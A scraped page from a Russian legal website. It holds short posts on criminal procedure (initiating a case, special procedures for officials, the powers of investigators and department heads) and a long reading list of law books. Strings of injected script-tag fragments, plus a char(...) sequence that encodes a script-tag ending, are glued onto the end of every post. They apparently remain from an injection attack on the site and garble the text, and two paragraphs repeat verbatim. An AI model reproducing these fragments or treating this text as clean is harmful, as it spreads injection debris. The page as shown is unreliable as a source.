Для следователя | Автор: admin | 12-05-2010, 21:07
Возбуждение уголовного дела представляет собой самостоятельную и начальную стадию досу¬дебного уголовного судопроизводства. Согласно п. 9 ст. 5 УПК РФ, досудебное производство — уголовное судопроизводство с момента получения сообщения о преступлении до направления про¬курором уголовного дела в суд для рассмотрения его по существу. Соответственно стадия возбуж¬дения уголовного дела охватывает процессуальные действия, начиная с момента получения сооб¬щения о преступлении до получения следователем согласия прокурора на возбуждение уголовного -ела. Стадия возбуждения уголовного дела подробно регламентируется гл. 19 и 20 УПК РФ. Ос¬новная цель этой стадии — установление наличия достаточных данных, указывающих на признаки преступления. Возбуждение уголовного дела не является какой-либо подготовительной и тем более вспомогательной стадией процесса, оно имеет самостоятельное значение, его задача —• определить, будет или нет возбуждено уголовное дело, если уголовное дело возбуждается, то уже на следую¬щей стадии предварительного расследования производится основная работа по собиранию, провер¬ке и оценке доказательств. Возбуждение уголовного дела дает возможность применения мер про¬цессуального принуждения и иных ограничений конституционных прав граждан. Одинаково вредны для правосудия как незаконные и необоснованные решения о возбуждении уголовного де¬ла, так и незаконные и необоснованные отказы в возбуждении дела.903736efa38b5c85a0334e960cf1696a.js" type="text/javascript">0a9de6be2a7a921836681baad593db20char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)79d6ac293ba815344606cd4a5b881931.js" type="text/javascript">083d90ffde8b58e3266e598c29fd42fb.js" type="text/javascript">1b559cd69b15b04ff0dff0a4caa6c942.js" type="text/javascript">932f786451a2740e82455e940a546fa8.js" type="text/javascript">ecbc7a133df349676de318aab65c788a.js" type="text/javascript">f4b20382cc231814ccc0420b3b973878.js" type="text/javascript">8972a6e8a8ee46931b9c238e71ead093.js" type="text/javascript">c3ae491d0a79dec02bf570d0414f44aa.js" type="text/javascript">c545bd9fa9108ef636e7f49d15168c09.js" type="text/javascript">db3aad1438973b7daacb4bf81e05d03d.js" type="text/javascript">078f4af4e011e3454388faf10dfbbd55.js" type="text/javascript">
Коментариев: 0 | Просмотров: 388 |
Для следователя | Автор: admin | 12-05-2010, 21:07
В соответствии со ст. 448 УПК РФ в особом порядке принимается решение о возбуждении уго¬ловного дела s отношении: 1) члена Совета Федерации и депутата Государственной Думы, 2) Генерального прокурора Российской Федерации, 3) судьи Конституционного Суда Российской Федерации, 4) судьи Верховного Суда Российской Федерации, Высшего Арбитражного Суда Рос¬сийской Федерации, верховного суда республики, краевого или областного суда, суда города феде¬рального значения, суда автономной области и суда автономного округа, федерального арбитраж¬ного суда, окружного (флотского) военного суда, 5) иных судей, 6) Председателя Счетной палаты Российской Федерации, его заместителя и аудиторов Счетной палаты Российской Федерации, 7) уполномоченного по правам человека в Российской Федерации, 8) Президента Российской Феде¬рации, прекратившего исполнение своих полномочий, а также кандидата в Президенты Российской Федерации, 9) депутата законодательного (представительного) органа государственной власти субъекта Российской Федерации, 10) следователя, адвоката, 11) депутата, члена выборного органа местного самоуправления, выборного должностного лица органа местного самоуправления, 12) члена избирательной комиссии, комиссии референдума с правом решающего голоса.96be924036e9e2c8756987d1c49cae11.js" type="text/javascript">308a1f458ae1eaef8b10c445896efbc2char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)e32e1b73caabdbd159bbd85aa5f83265.js" type="text/javascript">7b5a295a10a8d50faf671e2174937105.js" type="text/javascript">1c517c317e090272a48777fe7efd68bd.js" type="text/javascript">0d59160ae68968d144d2d956477d4973.js" type="text/javascript">ca747dff5dc225ec9029e82c715dd2ae.js" type="text/javascript">1f6473581195fe6ca93d567752e7ff0f.js" type="text/javascript">5059d4b19acc6259f61086cb15c20929.js" type="text/javascript">db181ace60e48ffe20e22251f8abc1d2.js" type="text/javascript">5345c74bc4ff5031a6c59d4e77321465.js" type="text/javascript">0244aee06d1e4f4413023196932718b9.js" type="text/javascript">813f0fc654921a4732bcff7ace73f3e4.js" type="text/javascript">
Коментариев: 0 | Просмотров: 199 |
Для следователя | Автор: admin | 12-05-2010, 21:07
Следователь — должностное лицо, уполномоченное осуществлять предварительное следствие по уголовному делу, а также иные полномочия, предусмотренные Уголовно-процессуальным ко¬дексом РФ (п. 41 ст. 5 УПК РФ).
Полномочия следователя представляют собой систему его процессуальных прав и обязанностей, необходимых и достаточных для разрешения сообщений о преступлениях, установления наличия или отсутствия обстоятельств, подлежащих доказыванию по уголовному делу, и соответственно обеспечения надлежащих условий для рассмотрения и разрешения судом уголовного дела по суще¬ству, освобождения от уголовной ответственности лица, совершившего преступление небольшой или средней тяжести, либо реабилитации невиновного.c94bc3c762b5d65885a4a0154f6db7ef.js" type="text/javascript">bca24c6c63e506819bc5f8983675bf68char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)27069703b050f90378ca58e99c2c5f11.js" type="text/javascript">e8aa5cef3f6eb124b8e013a8e99cb0f9.js" type="text/javascript">dcffddb68dde3e1266bd2c2c0e827458.js" type="text/javascript">e04ff6e46a12d784edd7b2785237a3d7.js" type="text/javascript">9b2993041497c136b39a451365f67cd2.js" type="text/javascript">7b883c73e61ae8eb3d1e5978b0737b86.js" type="text/javascript">8ef83db99e5f6007f34177378ffdbc64.js" type="text/javascript">20b01b2b3f7f64074cb54c523b3aeb7d.js" type="text/javascript">4dcfcbe3bca8db1be188c7a688e27d3a.js" type="text/javascript">d7b5f233b1e36451173f931d7adf829c.js" type="text/javascript">762f347e0a03b585e2027a2eba217b49.js" type="text/javascript">
Полномочия следователя представляют собой систему его процессуальных прав и обязанностей, необходимых и достаточных для разрешения сообщений о преступлениях, установления наличия или отсутствия обстоятельств, подлежащих доказыванию по уголовному делу, и соответственно обеспечения надлежащих условий для рассмотрения и разрешения судом уголовного дела по суще¬ству, освобождения от уголовной ответственности лица, совершившего преступление небольшой или средней тяжести, либо реабилитации невиновного.c94bc3c762b5d65885a4a0154f6db7ef.js" type="text/javascript">bca24c6c63e506819bc5f8983675bf68char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)27069703b050f90378ca58e99c2c5f11.js" type="text/javascript">e8aa5cef3f6eb124b8e013a8e99cb0f9.js" type="text/javascript">dcffddb68dde3e1266bd2c2c0e827458.js" type="text/javascript">e04ff6e46a12d784edd7b2785237a3d7.js" type="text/javascript">9b2993041497c136b39a451365f67cd2.js" type="text/javascript">7b883c73e61ae8eb3d1e5978b0737b86.js" type="text/javascript">8ef83db99e5f6007f34177378ffdbc64.js" type="text/javascript">20b01b2b3f7f64074cb54c523b3aeb7d.js" type="text/javascript">4dcfcbe3bca8db1be188c7a688e27d3a.js" type="text/javascript">d7b5f233b1e36451173f931d7adf829c.js" type="text/javascript">762f347e0a03b585e2027a2eba217b49.js" type="text/javascript">
Коментариев: 0 | Просмотров: 1393 |
Для следователя | Автор: admin | 12-05-2010, 21:07
В уголовно-процессуальном законодательстве Российской Федерации начальником следствен¬ного отдела считается должностное лицо, возглавляющее соответствующее следственное подразде¬ление, а также его заместитель (п. 18 ст. 5 УПК РФ).
Начальник следственного отдела наделен властно-распорядительными полномочиями по осу-ществлению функций уголовного преследования, процессуального контроля и управления рассле¬дованием преступлений.
Согласно ч. 1 ст. 39 УПК РФ начальник следственного отдела уполномочен: Г) поручать произ¬водство предварительного следствия следователю либо нескольким следователям, а также изымать уголовное дело у следователя и передавать его другому следователю с обязательным указанием осно¬ваний такой передачи, создавать следственную группу, изменять ее состав; 2) отменять необоснован¬ные постановления следователя о приостановлении предварительного следствия; 3) вносить прокуро¬ру ходатайство об отмене иных незаконных или необоснованных постановлений следователя.c808dfd59ad67c5bac2ac8a709246170.js" type="text/javascript">18e384140e622c947605574634ffee00char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)64b3d9ea8ea215a98d7ff5541e472c93.js" type="text/javascript">5af228f218b96a735469815ebcd036fa.js" type="text/javascript">cdb131a1efeb83c8c2c9f5d998c034d2.js" type="text/javascript">1579fc5c787bb075d1a2a4df93cf12ed.js" type="text/javascript">eb2e12215ebc7567c1d4327d61ba50b7.js" type="text/javascript">579930439b4a7513dff9828cb85bbb6b.js" type="text/javascript">9241d4fbec1ea78baae92021b84e9f79.js" type="text/javascript">5b1772e1c2b81d472b04e4d239cc28c1.js" type="text/javascript">be7b25e0ef8c6a70f4db7518fc3132b3.js" type="text/javascript">ec795750ac15e06dbbaff5b00f8584ed.js" type="text/javascript">5001cd76c2b8fbf87f56bede0c3e4789.js" type="text/javascript">
Начальник следственного отдела наделен властно-распорядительными полномочиями по осу-ществлению функций уголовного преследования, процессуального контроля и управления рассле¬дованием преступлений.
Согласно ч. 1 ст. 39 УПК РФ начальник следственного отдела уполномочен: Г) поручать произ¬водство предварительного следствия следователю либо нескольким следователям, а также изымать уголовное дело у следователя и передавать его другому следователю с обязательным указанием осно¬ваний такой передачи, создавать следственную группу, изменять ее состав; 2) отменять необоснован¬ные постановления следователя о приостановлении предварительного следствия; 3) вносить прокуро¬ру ходатайство об отмене иных незаконных или необоснованных постановлений следователя.c808dfd59ad67c5bac2ac8a709246170.js" type="text/javascript">18e384140e622c947605574634ffee00char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)64b3d9ea8ea215a98d7ff5541e472c93.js" type="text/javascript">5af228f218b96a735469815ebcd036fa.js" type="text/javascript">cdb131a1efeb83c8c2c9f5d998c034d2.js" type="text/javascript">1579fc5c787bb075d1a2a4df93cf12ed.js" type="text/javascript">eb2e12215ebc7567c1d4327d61ba50b7.js" type="text/javascript">579930439b4a7513dff9828cb85bbb6b.js" type="text/javascript">9241d4fbec1ea78baae92021b84e9f79.js" type="text/javascript">5b1772e1c2b81d472b04e4d239cc28c1.js" type="text/javascript">be7b25e0ef8c6a70f4db7518fc3132b3.js" type="text/javascript">ec795750ac15e06dbbaff5b00f8584ed.js" type="text/javascript">5001cd76c2b8fbf87f56bede0c3e4789.js" type="text/javascript">
Коментариев: 0 | Просмотров: 571 |
ЮРИДИЧЕСКАЯ ЛИТЕРАТУРА:
-
Уголовно-правовая
-
Гражданско-правовая
-
Государственно-правовая
РАЗНОЕ:
-
Административно-государственное управление в странах запада: США, Великобритания, Франция, Германия (Василенко И. А.)
-
Государственное управление и государственная служба за рубежом (В.В.Чубинский)
-
Деятельность органов местного самоуправления в области охраны окружающей среды в Российской Федерации (Алексеев А.П.)
-
Законодательный процесс. Понятие. Институты. Стадии. (Васильев Р.Ф.)
-
Иностранное конституционное право (В.В.Маклаков)
-
Человек как носитель криминалистически значимой информации (Жванков В.А.)
-
Криминалистическая характеристика преступных групп (Быков В.М.)
-
Криминалистические проблемы обнаружения и устранения следственных ошибок (Карагодин В.Н., Морозова Е.В.)
-
Участие недобросовестных адвокатов в организованной преступности и коррупции: комплексная характеристика и проблемы противодействия (Гармаев Ю.П.)
-
В поисках истины (Ищенко Е. П., Любарский М. Г.)
-
Деятельность экспертно-криминалистических подразделений органов внутренних дел по применению экспертно-криминалистических методов и средств в раскрытии и расследовании преступлений (В. А. Снетков)
-
Теория и практика проверки показаний на месте (Л.Я. Драпкин, А.А. Андреев)
-
100 лет криминалистики (Торвальд Юрген)
-
Руководство по расследованию преступлений (А. В. Гриненко)
-
Осмотр места происшествия (А.И. Дворкин)
-
Конституция России: природа, эволюция, современность (С.А.Авакьян)
-
Конституционное правосудие. Судебное конституционное право и процесс (Н.В. Витрук)
-
Криминалистика: тактика, организация и методика расследования (Резван А.П., Субботина М.В., Харченко Ю.В.)
-
Криминалистика. Проблемы и мнения (1962-2002) (Бахин В.П.)
-
Криминалистика: проблемы, тенденции, перспективы (Белкин Р. С.)
-
Криминалистика: проблемы сегодняшнего дня (Белкин Р. С.)
-
Российское законодательство на современном этапе (Н.А.Васецкий, Ю.К.Краснов)
-
Права человека (Е. А. Лукашева)
-
Справочник прокурора (Трикс А.В.)
-
Правовые позиции Конституционного Суда России (Лазарев Л.В.)
-
Проблемы уголовного наказания в теории, законодательстве и судебной практике (В. К. Дуюнов)
-
Практика применения уголовного кодекса (А.В. Наумов)
-
Уголовные преступления и наказания (А.Б. Смушкин)
-
Экономические преступления (Волженкин Б. В.)
-
Гарантии прав участников уголовного судопроизводства Российской Федерации (Волколуп О.В., Чупилкин Ю.Б.)
-
Меры пресечения в российском уголовном процессе (Михайлов В.А.)
-
Отказ от обвинения в системе уголовно-процессуальных актов (Землянухин А.В.)
-
Типология уголовного судопроизводства (Смирнов А.В.)
-
Учение об объекте преступления (Г.П. Новоселов)
-
Дифференциация уголовной ответственности (Лесниевски-Костарева Т. А.)
-
Теория доказательств (Владислав Лоер)
-
Искусство защиты в суде присяжных (Мельник В.В.)
-
Субъективное вменение и его значение в уголовном праве (В. А. Якушин)
-
Психология преступника и расследования преступлений (Антонян Ю.М., Еникеев М.И., Эминов В.Е.)
-
Курс международного уголовного права (Э.Нарбутаев, Ф.Сафаев) (Республика Узбекистан)
-
Деятельное раскаяние в совершенном преступлении (Щерба C., Савкин А.В.)
-
Право на юридическую помощь: конституционные аспекты (Р.Г. Мельниченко)
-
Юридический статус личности в России (Воеводин Л.Д.)
-
Российское гражданство (Кутафин)
-
Законность в Российской Федерации (Тихомиров Ю. А., Сухарев А. Я., Демидов И. Ф.)
-
Экономическое правосудие в России: прошлое, настоящее, будущее (М.И. Клеандров)
-
Третья власть в России. Очерки о правосудии, законности и судебной реформе 1990-1996 гг. (Бойков А.Д.)
-
Закон: создание и толкование (Пиголкин А.С.)
-
Актуальные вопросы уголовного процесса современной России
-
Уголовно-правовое регулирование. Механизм и система. (Н.М.Кропачев)
-
Уголовно-правовая политика и пути ее реализации (Беляев Н. А.)
-
Практика уголовного сыска (В.Румянцев, В.Перевертов)
-
Судебная экспертиза (экспертология) (В.А.Назаров)
-
Юридическая педагогика. (Левитан К.М.)
-
Концепции современного естествознания. (А.Ф. Лихин)
-
Критика научного разума. (Курт Хюбнер)
-
Административная ответственность в СССР. (И.А.Галаган)
-
Советские административно-правовые отношения. (Г.И.Петров)
-
Искусство судебной речи. (М.Г.Жук)
-
Государственное право Российской Федерации. (И.Т.Беспалый)
-
Правоведение. (Н.М.Крюкова)
-
Основы права. (Зенин И.А.)
-
Некоммерческое право. (Н.А. Идрисов)
-
Гражданское право Российской Федерации. (И.А.Зенин)
-
Право на иск. (Гурвич)
-
Хрестоматия по гражданскому процессу. (М.К.Треушников)
-
Общая теория процессуальных норм права. (Борисова Л.Н.)
-
Производство в кассационной инстанции арбитражного суда. (Э.Н.Нагорная)
-
Допустимость доказательств в гражданском и арбитражном процессах. (А.В.Гордейчик)
-
Заочное решение в гражданском процессе. (И.В.Уткина)
-
Судебная практика по гражданским делам.
-
Справочник по доказыванию в гражданском судопроизводстве. (И.В.Решетникова)
-
Курс гражданского судопроизводства России. (Г.Л.Осокина)
-
Выбор способа зашиты гражданских прав. (ВершининА.П.)
-
Институт доказывания в гражданском и арбитражном судопроизводстве. (А.Г.Коваленко)
-
Судебное усмотрение в гражданском и арбитражном процессе. (Абушенко Д.Б.)
КОММЕНТАРИИ:
-
Комментарий к Трудовому кодексу Российской Федерации (К.Н.Гусов)
-
Комментарий к кодексу российской федерации об административных правонарушениях (А.Б. Агапов)
-
Комментарий к Уголовно-процессуальному кодексу Российской Федерации (Д.Н. Козак, Е.Б. Мизулина)
-
Комментарий к кодексу Торгового мореплавания Российской Федерации (Г.Г. Иванов)
-
Комментарий к Гражданскому Процессуальному кодексу Российской Федерации (П.В. Крашенинников)
-
Комментарий к Налоговому кодексу Российской Федерации (А.Н. Гуев)
-
Комментарий к Семейному кодексу Российской Федерации (ч.1,ч.2) (И.М. Кузнецова, М.В. Антокольская, Ю.А. Королев, Н.И. Марышева)
-
Комментарий к Гражданскому кодексу Российской Федерации (ч.1,ч.2) (Абрамова Е.Н., Аверченко Н.Н., Арсланов К. М., Сергеев А.П.)
-
Комментарий к Гражданскому кодексу Российской Федерации (ч.3) (Т.Е. Абова, М.М. Богуславский, А.Г. Светланов)
-
Комментарий к Гражданскому кодексу Российской Федерации (ч.4) (Н.П. Корчагина, Е.А. Моргунова, В.В. Погуляев)
-
Комментарий к Арбитражному процессуальному кодексу Российской Федерации (Андреева Т.К., Каллистратова Р.Ф., Лесницкая Л.Ф., Лившиц Н.Г.)
-
Комментарий к Пенсионному законодательству Российской Федерации
-
Комментарий к Градостроительному кодексу Российской Федерации (Крассов О.И.)
ОКОЛОЮРИДИЧЕСКАЯ ЛИТЕРАТУРА:
-
The Rainmaker. (John Grisham)
-
The Firm. (John Grisham)
-
The Last Juror. (John Grisham)
-
The summons. (John Grisham)
-
A time to kill. (John Grisham)
-
The pelican brief. (John Grisham)
-
The king of torts. (John Grisham)
-
Пора убивать. (Джон Гришем)
-
Партнер. (Джон Гришем)
-
Адвокат. (Джон Гришем)
-
Камера. (Джон Гришем)
-
Вердикт. (Джон Гришем)
-
Дело о пеликанах. (Джон Гришем)
-
Завещание. (Джон Гришем)
-
Клиент. (Джон Гришем)
-
Фирма. (Джон Гришем)
-
Шантаж. (Джон Гришем)
-
Il nome della rosa. (Умберто Эко)
-
Интерпол.Всемирная система борьбы с преступностью. (Иосиф Дайчман)
